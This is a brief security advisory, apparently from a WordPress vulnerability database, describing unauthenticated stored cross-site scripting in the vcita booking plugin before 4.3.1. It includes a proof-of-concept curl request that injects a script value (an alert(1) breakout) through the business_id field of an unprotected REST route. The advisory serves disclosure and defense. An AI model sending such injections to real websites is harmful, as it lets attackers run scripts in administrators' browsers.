Online Booking & Scheduling Calendar for WordPress by vcita < 4.3.1 - Unauthenticated Stored Cross-Site Scripting

2023-06-0200:00:00

wpvulndb

online booking

scheduling

wordpress

plugin

vulnerability

cross-site scripting

0.001 Low

EPSS

Percentile

39.4%

JSON

The plugin does not sanitize and escape the business_id parameter of an unprotected REST route endpoint before rendering it back in pages on the website, allowing an unauthenticated attacker to inject arbitrary web scripts, which could target authenticated users such as administrators.

curl https://example.com/wp-json/vcita-wordpress/v1/actions/auth \
   –json '{
       "success": true,
       "user_data": {
           "business_id": "\"; alert(1); //",
           "business_name": "Evil Eve",
           "email": "[email protected]"
       }
   }'